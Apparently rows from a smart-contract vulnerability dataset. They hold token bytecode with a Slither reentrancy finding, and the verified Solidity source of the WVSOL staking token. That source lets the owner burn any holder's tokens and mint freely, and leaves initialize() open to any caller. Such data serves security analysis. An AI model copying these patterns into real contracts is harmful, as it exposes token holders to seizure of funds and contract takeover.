5b506101fc6104f6366004611b54565b61093f565b34801561050757600080fd5b50610268610516366004611a86565b61097d565b34801561052757600080fd5b50610268610536366004611af3565b60106020526000908152604090205460ff1681565b34801561055757600080fd5b506101fc61098a565b34801561056c57600080fd5b506101fc61057b366004611b86565b6109de565b34801561058c57600080fd5b506102c861059b366004611c0a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d257600080fd5b506101fc6105e1366004611b3b565b610a7f565b3480156105f257600080fd5b506101fc610601366004611af3565b610aae565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090611c43565b60405180910390fd5b60005b81518110156106a15760016010600084848151811061065d5761065d611c78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069981611ca4565b91505061063c565b5050565b60006106b2338484610b98565b5060015b92915050565b60006106c9848484610cbc565b61071b843361071685604051806060016040528060288152602001611dbe602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f8565b610b98565b5060019392505050565b6000546001600160a01b0316331461074f5760405162461bcd60e51b815260040161063090611c43565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079a5760405162461bcd60e51b815260040161063090611c43565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ed57506013546001600160a01b0316336001600160a01b0316145b6107f657600080fd5b4761080081611232565b50565b6001600160a01b0381166000908152600260205260408120546106b69061126c565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161063090611c43565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161063090611c43565b601655565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161063090611c43565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b815260040161063090611c43565b601855565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161063090611c43565b600893909355600a91909155600955600b55565b60006106b2338484610cbc565b6012546001600160a01b0316336001600160a01b031614806109bf57506013546001600160a01b0316336001600160a01b0316145b6109c857600080fd5b60006109d330610803565b9050610800816112f0565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161063090611c43565b60005b82811015610a79578160056000868685818110610a2a57610a2a611c78565b9050602002016020810190610a3f9190611af3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611ca4565b915050610a0b565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161063090611c43565b601755565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161063090611c43565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610630565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610630565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610630565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610630565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610630565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610630565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b156110f157601554600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610630565b601654811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610630565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3d57506001600160a01b03821660009081526010602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610630565b6015546001600160a01b0383811691161461101a5760175481610fb784610803565b610fc19190611cbf565b1061101a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610630565b600061102530610803565b60185460165491925082101590821061103e5760165491505b8080156110555750601554600160a81b900460ff16155b801561106f57506015546001600160a01b03868116911614155b80156110845750601554600160b01b900460ff165b80156110a957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ce57506001600160a01b03841660009081526005602052604090205460ff16155b156110ee576110dc826112f0565b4780156110ec576110ec47611232565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113357506001600160a01b03831660009081526005602052604090205460ff165b8061116557506015546001600160a01b0385811691161480159061116557506015546001600160a01b03848116911614155b15611172575060006111ec565b6015546001600160a01b03858116911614801561119d57506014546001600160a01b03848116911614155b156111af57600854600c55600954600d555b6015546001600160a01b0384811691161480156111da57506014546001600160a01b03858116911614155b156111ec57600a54600c55600b54600d555b610a7984848484611479565b6000818484111561121c5760405162461bcd60e51b81526004016106309190611a31565b5060006112298486611cd7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a1573d6000803e3d6000fd5b60006006548211156112d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610630565b60006112dd6114a7565b90506112e983826114ca565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857611338611c78565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c49190611cee565b816001815181106113d7576113d7611c78565b6001600160a01b0392831660209182029290920101526014546113fd9130911684610b98565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611436908590600090869030904290600401611d0b565b600060405180830381600087803b15801561145057600080fd5b505af1158015611464573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114865761148661150c565b61149184848461153a565b80610a7957610a79600e54600c55600f54600d55565b60008060006114b4611631565b90925090506114c382826114ca565b9250505090565b60006112e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b600c5415801561151c5750600d54155b1561152357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154c876116a1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157e90876116fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ad9086611740565b6001600160a01b0389166000908152600260205260409020556115cf8161179f565b6115d984836117e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161e91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061164d82826114ca565b82101561166a5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836116945760405162461bcd60e51b81526004016106309190611a31565b5060006112298486611d7c565b60008060008060008060008060006116be8a600c54600d5461180d565b92509250925060006116ce6114a7565b905060008060006116e18e878787611862565b919e509c509a509598509396509194505050505091939550919395565b60006112e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f8565b60008061174d8385611cbf565b9050838110156112e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610630565b60006117a96114a7565b905060006117b783836118b2565b306000908152600260205260409020549091506117d49082611740565b30600090815260026020526040902055505050565b6006546117f690836116fe565b6006556007546118069082611740565b6007555050565b6000808080611827606461182189896118b2565b906114ca565b9050600061183a60646118218a896118b2565b905060006118528261184c8b866116fe565b906116fe565b9992985090965090945050505050565b600080808061187188866118b2565b9050600061187f88876118b2565b9050600061188d88886118b2565b9050600061189f8261184c86866116fe565b939b939a50919850919650505050505050565b6000826118c1575060006106b6565b60006118cd8385611d9e565b9050826118da8583611d7c565b146112e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610630565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080057600080fd5b803561196781611947565b919050565b6000602080838503121561197f57600080fd5b823567ffffffffffffffff8082111561199757600080fd5b818501915085601f8301126119ab57600080fd5b8135818111156119bd576119bd611931565b8060051b604051601f19603f830116810181811085821117156119e2576119e2611931565b604052918252848201925083810185019188831115611a0057600080fd5b938501935b82851015611a2557611a168561195c565b84529385019392850192611a05565b98975050505050505050565b600060208083528351808285015260005b81811015611a5e57858101830151858201604001528201611a42565b81811115611a70576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9957600080fd5b8235611aa481611947565b946020939093013593505050565b600080600060608486031215611ac757600080fd5b8335611ad281611947565b92506020840135611ae281611947565b929592945050506040919091013590565b600060208284031215611b0557600080fd5b81356112e981611947565b8035801515811461196757600080fd5b600060208284031215611b3257600080fd5b6112e982611b10565b600060208284031215611b4d57600080fd5b5035919050565b60008060008060808587031215611b6a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9b57600080fd5b833567ffffffffffffffff80821115611bb357600080fd5b818601915086601f830112611bc757600080fd5b813581811115611bd657600080fd5b8760208260051b8501011115611beb57600080fd5b602092830195509350611c019186019050611b10565b90509250925092565b60008060408385031215611c1d57600080fd5b8235611c2881611947565b91506020830135611c3881611947565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb857611cb8611c8e565b5060010190565b60008219821115611cd257611cd2611c8e565b500190565b600082821015611ce957611ce9611c8e565b500390565b600060208284031215611d0057600080fd5b81516112e981611947565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db857611db8611c8e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032f5e9ea1ac3653f25b064c800ce5cdc5fd0751a45a4de303fed6efc7ccc0a0d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,446 |
0xf74F7fb596eedd95f300f4dc1D37305614732fD8 | /**
*Submitted for verification at BscScan.com on 2022-01-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stakeable {
constructor() { }
function initStakeable() internal {
stakeholders.push();
rewardPerHour = 36500;
}
struct Stake{
address user;
uint256 amount;
uint256 since;
uint256 claimable;
}
struct Stakeholder{
address user;
Stake[] address_stakes;
}
struct StakingSummary{
uint256 total_amount;
Stake[] stakes;
}
Stakeholder[] internal stakeholders;
mapping(address => uint256) internal stakes;
event Staked(address indexed user, uint256 amount, uint256 index, uint256 timestamp);
uint256 internal rewardPerHour;
function _addStakeholder(address staker) internal returns (uint256){
stakeholders.push();
uint256 userIndex = stakeholders.length - 1;
stakeholders[userIndex].user = staker;
stakes[staker] = userIndex;
return userIndex;
}
function _stake(uint256 _amount) internal {
require(_amount > 0, "Cannot stake nothing");
uint256 index = stakes[msg.sender];
uint256 timestamp = block.timestamp;
if(index == 0){
index = _addStakeholder(msg.sender);
}
stakeholders[index].address_stakes.push(Stake(msg.sender, _amount, timestamp,0));
emit Staked(msg.sender, _amount, index,timestamp);
}
function calculateStakeReward(Stake memory _current_stake) internal view returns(uint256){
uint256 stakeTime = block.timestamp - _current_stake.since;
if (stakeTime < 1 days) {
return 0;
}
return (((stakeTime) / 1 hours) * _current_stake.amount) / rewardPerHour;
}
function _withdrawStake(uint256 amount, uint256 index) internal returns(uint256, uint256, uint256){
uint256 user_index = stakes[msg.sender];
Stake memory current_stake = stakeholders[user_index].address_stakes[index];
require(current_stake.amount >= amount, "Staking: Cannot withdraw more than you have staked");
uint256 reward = calculateStakeReward(current_stake);
current_stake.amount = current_stake.amount - amount;
if(current_stake.amount == 0){
delete stakeholders[user_index].address_stakes[index];
} else {
stakeholders[user_index].address_stakes[index].amount = current_stake.amount;
stakeholders[user_index].address_stakes[index].since = block.timestamp;
}
uint256 devReward = ( reward * 5 ) / 100;
reward -= devReward;
return (amount, reward, devReward);
}
function _withdrawStakeWithZeroReward(uint256 amount, uint256 index) internal returns(uint256){
uint256 user_index = stakes[msg.sender];
Stake memory current_stake = stakeholders[user_index].address_stakes[index];
require(current_stake.amount >= amount, "Staking: Cannot withdraw more than you have staked");
current_stake.amount = current_stake.amount - amount;
if(current_stake.amount == 0) {
delete stakeholders[user_index].address_stakes[index];
} else {
stakeholders[user_index].address_stakes[index].amount = current_stake.amount;
stakeholders[user_index].address_stakes[index].since = block.timestamp;
}
return (amount);
}
function hasStake(address _staker) public view returns(StakingSummary memory){
uint256 totalStakeAmount;
StakingSummary memory summary = StakingSummary(0, stakeholders[stakes[_staker]].address_stakes);
for (uint256 s = 0; s < summary.stakes.length; s += 1) {
uint256 availableReward = calculateStakeReward(summary.stakes[s]);
summary.stakes[s].claimable = availableReward;
totalStakeAmount = totalStakeAmount+summary.stakes[s].amount;
}
summary.total_amount = totalStakeAmount;
return summary;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: only owner can call this function");
_;
}
constructor() { }
function initOwner() internal {
_owner = 0xF36834a746fFcC8D13E508154075Fc83B2FEa83d;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract WVSOL is Ownable, Stakeable{
uint private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
uint private _rewardsupply;
address devAddress;
address adminAddress;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event AdminAddress(address _from, address to);
event DevAddress(address _from, address to);
constructor() {
}
bool initialized;
modifier isInitialized {
require(!initialized, "You can not initialize function again ");
_;
}
function initialize() public isInitialized {
_name = "Wrapped VSolidus Coin";
_symbol = "WVSOL";
_decimals = 8;
uint256 premine = 450_000_000 * (10 ** _decimals);
initOwner();
initStakeable();
_mint(owner(), premine);
_rewardsupply = premine;
devAddress = 0x2B98d6c2FC894714f14cE17f76599fb04E9193Bd;
adminAddress = 0x9c67cfEcd0633d3dDeB666aE6b9ffe084015eB23;
initialized = true;
}
function changeDevAddress(address _addr) onlyOwner public {
emit DevAddress(devAddress, _addr);
devAddress = _addr;
}
function changeAdminAddress(address _addr) onlyOwner public {
emit AdminAddress(adminAddress, _addr);
adminAddress = _addr;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory){
return _symbol;
}
function name() external view returns (string memory){
return _name;
}
function totalSupply() external view returns (uint256){
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function getTotalStakeholders() public view returns(uint256) {
return stakeholders.length;
}
function getTotalStakedAmount() public view returns(uint256) {
return balanceOf(address(this));
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "DevToken: cannot mint to zero address");
_totalSupply = _totalSupply + (amount);
_balances[account] = _balances[account] + amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "DevToken: cannot burn from zero address");
require(_balances[account] >= amount, "DevToken: Cannot burn more than the account owns");
_balances[account] = _balances[account] - amount;
_totalSupply = _totalSupply - amount;
emit Transfer(account, address(0), amount);
}
function burn(address account, uint256 amount) public onlyOwner returns(bool) {
_burn(account, amount);
return true;
}
function mint(address account, uint256 amount) public onlyOwner returns(bool){
_mint(account, amount);
return true;
}
function transfer(address recipient, uint256 amount) external returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "DevToken: transfer from zero address");
require(recipient != address(0), "DevToken: transfer to zero address");
require(_balances[sender] >= amount, "DevToken: cant transfer more than your account holds");
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
function allowance(address owner, address spender) external view returns(uint256){
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "DevToken: approve cannot be done from zero address");
require(spender != address(0), "DevToken: approve cannot be to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner,spender,amount);
}
function transferFrom(address spender, address recipient, uint256 amount) external returns(bool){
// Make sure spender is allowed the amount
require(_allowances[spender][msg.sender] >= amount, "DevToken: You cannot spend that much on this account");
_transfer(spender, recipient, amount);
_approve(spender, msg.sender, _allowances[spender][msg.sender] - amount);
return true;
}
function increaseAllowance(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]+amount);
return true;
}
function decreaseAllowance(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]-amount);
return true;
}
function stake(uint256 _amount) public {
require(_amount < _balances[msg.sender], "DevToken: Cannot stake more than you own");
_stake(_amount);
_transfer(msg.sender, address(this), _amount);
}
function getRemainingReward() view public returns(uint256) {
return _rewardsupply;
}
function reduceRewardSupply(uint amount) private {
uint256 temp = _rewardsupply;
_rewardsupply -= amount;
emit RewardAmountReduced(temp, _rewardsupply);
}
event RewardAmountReduced(uint256 _from, uint256 _to);
event LastAmountMinted(uint256 stakedAmount, uint256 remaningAmount, uint256 rewardAmount, uint totalAmount);
event CanNotGetReward(uint256 userRewardAmount, uint256 contractRewardAmountHold);
event NotFinished24Hours(address _from, address _to, uint256 amount);
function mintReward(uint256 amountStaked, uint256 userReward, uint256 devReward) private {
_mint(devAddress, devReward/2);
_mint(adminAddress, devReward/2);
_mint(msg.sender, userReward);
_transfer(address(this), msg.sender, amountStaked);
}
function withdrawStake(uint256 amount, uint256 stake_index) public {
uint256 amountStaked;
uint256 devReward;
uint256 userReward;
if (getRemainingReward() > 0 ) {
(amountStaked, userReward, devReward) = _withdrawStake(amount, stake_index);
if( (userReward + devReward) > 0 ) {
if ( (userReward + devReward) < getRemainingReward() ) {
reduceRewardSupply(devReward + userReward);
mintReward(amountStaked, userReward, devReward);
}
else
{
userReward = getRemainingReward();
devReward = ( userReward * 5 ) / 100;
userReward -= devReward;
mintReward(amountStaked, userReward, devReward);
_rewardsupply = 0;
}
}
else {
_transfer(address(this), msg.sender, amountStaked);
emit NotFinished24Hours(address(this), msg.sender, amountStaked);
}
}
else {
amountStaked = _withdrawStakeWithZeroReward(amount, stake_index);
_transfer(address(this), msg.sender, amountStaked);
emit CanNotGetReward(userReward + devReward, getRemainingReward());
}
}
function withdrawBNB() onlyOwner public payable {
payable(owner()).transfer(address(this).balance);
}
fallback() external payable {}
receive() external payable {
payable(owner()).transfer(address(this).balance);
}
} | 0x6080604052600436106101855760003560e01c80638129fc1c116100d1578063a694fc3a1161008a578063dd62ed3e11610064578063dd62ed3e146105cf578063e73e14bf1461060c578063f1fdf46914610649578063f2fde38b14610672576101da565b8063a694fc3a1461053e578063a9059cbb14610567578063c0b5fca0146105a4576101da565b80638129fc1c1461042e5780638da5cb5b1461044557806392b463901461047057806395d89b41146104995780639dc29fac146104c4578063a457c2d714610501576101da565b8063313ce5671161013e57806340c10f191161011857806340c10f19146103725780636fc43663146103af57806370a08231146103da578063715018a614610417576101da565b8063313ce567146102df57806338adb6f01461030a5780633950935114610335576101da565b806306fdde03146101dc578063095ea7b3146102075780631021688f1461024457806318160ddd1461026d5780631d111d131461029857806323b872dd146102a2576101da565b366101da5761019261069b565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156101d7573d6000803e3d6000fd5b50005b005b3480156101e857600080fd5b506101f16106c4565b6040516101fe9190613a0b565b60405180910390f35b34801561021357600080fd5b5061022e60048036038101906102299190613165565b610756565b60405161023b91906139f0565b60405180910390f35b34801561025057600080fd5b5061026b600480360381019061026691906130b1565b61076d565b005b34801561027957600080fd5b5061028261089a565b60405161028f9190613c2f565b60405180910390f35b6102a06108a4565b005b3480156102ae57600080fd5b506102c960048036038101906102c49190613116565b610982565b6040516102d691906139f0565b60405180910390f35b3480156102eb57600080fd5b506102f4610aeb565b6040516103019190613caa565b60405180910390f35b34801561031657600080fd5b5061031f610b02565b60405161032c9190613c2f565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190613165565b610b12565b60405161036991906139f0565b60405180910390f35b34801561037e57600080fd5b5061039960048036038101906103949190613165565b610bb0565b6040516103a691906139f0565b60405180910390f35b3480156103bb57600080fd5b506103c4610c54565b6040516103d19190613c2f565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc91906130b1565b610c61565b60405161040e9190613c2f565b60405180910390f35b34801561042357600080fd5b5061042c610caa565b005b34801561043a57600080fd5b50610443610df6565b005b34801561045157600080fd5b5061045a61069b565b6040516104679190613975565b60405180910390f35b34801561047c57600080fd5b50610497600480360381019061049291906130b1565b611019565b005b3480156104a557600080fd5b506104ae611146565b6040516104bb9190613a0b565b60405180910390f35b3480156104d057600080fd5b506104eb60048036038101906104e69190613165565b6111d8565b6040516104f891906139f0565b60405180910390f35b34801561050d57600080fd5b5061052860048036038101906105239190613165565b61127c565b60405161053591906139f0565b60405180910390f35b34801561054a57600080fd5b50610565600480360381019061056091906131a1565b61131a565b005b34801561057357600080fd5b5061058e60048036038101906105899190613165565b6113b2565b60405161059b91906139f0565b60405180910390f35b3480156105b057600080fd5b506105b96113c9565b6040516105c69190613c2f565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f191906130da565b6113d3565b6040516106039190613c2f565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e91906130b1565b61145a565b6040516106409190613c0d565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b91906131ca565b6116ff565b005b34801561067e57600080fd5b50610699600480360381019061069491906130b1565b61187d565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546106d390614028565b80601f01602080910402602001604051908101604052809291908181526020018280546106ff90614028565b801561074c5780601f106107215761010080835404028352916020019161074c565b820191906000526020600020905b81548152906001019060200180831161072f57829003601f168201915b5050505050905090565b6000610763338484611917565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290613a2d565b60405180910390fd5b7fbdb05e0214fdca12fef9e8cc6c79590a8a4673190ac87de6bc56dee17d7ea9a2600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260405161084e929190613990565b60405180910390a180600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092990613a2d565b60405180910390fd5b61093a61069b565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561097f573d6000803e3d6000fd5b50565b600081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90613b0d565b60405180910390fd5b610a4e848484611ae2565b610ae0843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610adb9190613f6c565b611917565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610b0d30610c61565b905090565b6000610ba6338484600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ba19190613d1a565b611917565b6001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3790613a2d565b60405180910390fd5b610c4a8383611dca565b6001905092915050565b6000600180549050905090565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90613a2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900460ff1615610e46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3d90613a4d565b60405180910390fd5b6040518060400160405280601581526020017f577261707065642056536f6c6964757320436f696e000000000000000000000081525060079080519060200190610e91929190612fca565b506040518060400160405280600581526020017f5756534f4c00000000000000000000000000000000000000000000000000000081525060069080519060200190610edd929190612fca565b506008600560006101000a81548160ff021916908360ff1602179055506000600560009054906101000a900460ff16600a610f189190613df4565b631ad27480610f279190613f12565b9050610f31611f46565b610f39612017565b610f4a610f4461069b565b82611dca565b80600881905550732b98d6c2fc894714f14ce17f76599fb04e9193bd600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739c67cfecd0633d3ddeb666ae6b9ffe084015eb23600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90613a2d565b60405180910390fd5b7f83f70af4ccd70f67b905f8d9fb9528533d92928c099e55932bba31743077f1f9600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516110fa929190613990565b60405180910390a180600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606006805461115590614028565b80601f016020809104026020016040519081016040528092919081815260200182805461118190614028565b80156111ce5780601f106111a3576101008083540402835291602001916111ce565b820191906000526020600020905b8154815290600101906020018083116111b157829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90613a2d565b60405180910390fd5b611272838361203f565b6001905092915050565b6000611310338484600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130b9190613f6c565b611917565b6001905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811061139b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139290613aed565b60405180910390fd5b6113a48161223d565b6113af333083611ae2565b50565b60006113bf338484611ae2565b6001905092915050565b6000600854905090565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff